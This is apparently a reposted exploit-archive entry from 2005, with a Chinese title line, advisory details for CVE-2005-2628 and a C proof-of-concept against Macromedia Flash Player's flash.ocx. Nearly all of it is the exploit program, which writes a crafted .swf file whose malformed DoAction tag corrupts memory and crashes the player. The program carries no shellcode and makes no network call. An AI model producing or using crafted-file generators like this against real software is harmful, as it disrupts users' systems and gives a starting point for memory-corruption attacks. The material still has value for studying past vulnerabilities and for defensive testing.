18112005.txt

一些可以实现益出的程序

Macromedia Flash Player "Flash.ocx" Memory Corruption Remote PoC Exploit
Date : 18/11/2005
 

 

Advisory ID : FrSIRT/ADV-2005-2317
CVE ID : CVE-2005-2628 
Rated as : Critical 
Note : This proof-of-concept exploit generates a flash file that will cause a DoS

/*

* ********************************************************* *
* Macromedia Flash Plugin - Buffer Overflow in flash.ocx                       *
* ********************************************************* *
* Version: v7.0.19.0                                                                           *
* PoC coded by: BassReFLeX                                                              *
* Date: 11 Oct 2005                                                                           *
* ********************************************************* *

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
...
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] = 
"\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00"
"\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43"
"\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45"
"\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
system("cls");
printf("\n* ********************************************************* *");
printf("\n* Macromedia Flash Plugin - Buffer Overflow in flash.ocx                       *");
printf("\n* ********************************************************* *");
printf("\n* Version: v7.0.19.0                                                                          *");
printf("\n* Date: 11 Oct 2005                                                                          *");
printf("\n* ProofOfConcept(POC) coded by: BassReFLeX                                    *");
printf("\n* ********************************************************* *");

if ( argc!=2 )
{
usage(argv[0]);
}

FILE *f;
f = fopen(argv[1],"w");
if ( !f )
{
printf("\nFile couldn't open!");
exit(1);
}

printf("\n\nWriting crafted .swf file . . .");
fwrite(SWF,1,sizeof(SWF),f);
fwrite("\n",1,1,f);
fwrite(SetBackgroundColor,1,sizeof(SetBackgroundColor),f);
fwrite("\n",1,1,f);
fwrite(DoAction,1,sizeof(DoAction),f);
fwrite("\n",1,1,f);
fwrite(ShowFrame,1,sizeof(ShowFrame),f);
fwrite("\n",1,1,f);
fwrite(End,1,sizeof(End),f);
fwrite("\n",1,1,f);
fwrite(SWF_,1,sizeof(SWF_),f);
printf("\nFile created successfully!");
printf("\nFilename: %s",argv[1]);
return 0;
} 

void usage(char* file)
{
printf("\n\n");
printf("\n%s <Filename>",file);
printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
exit(1);
}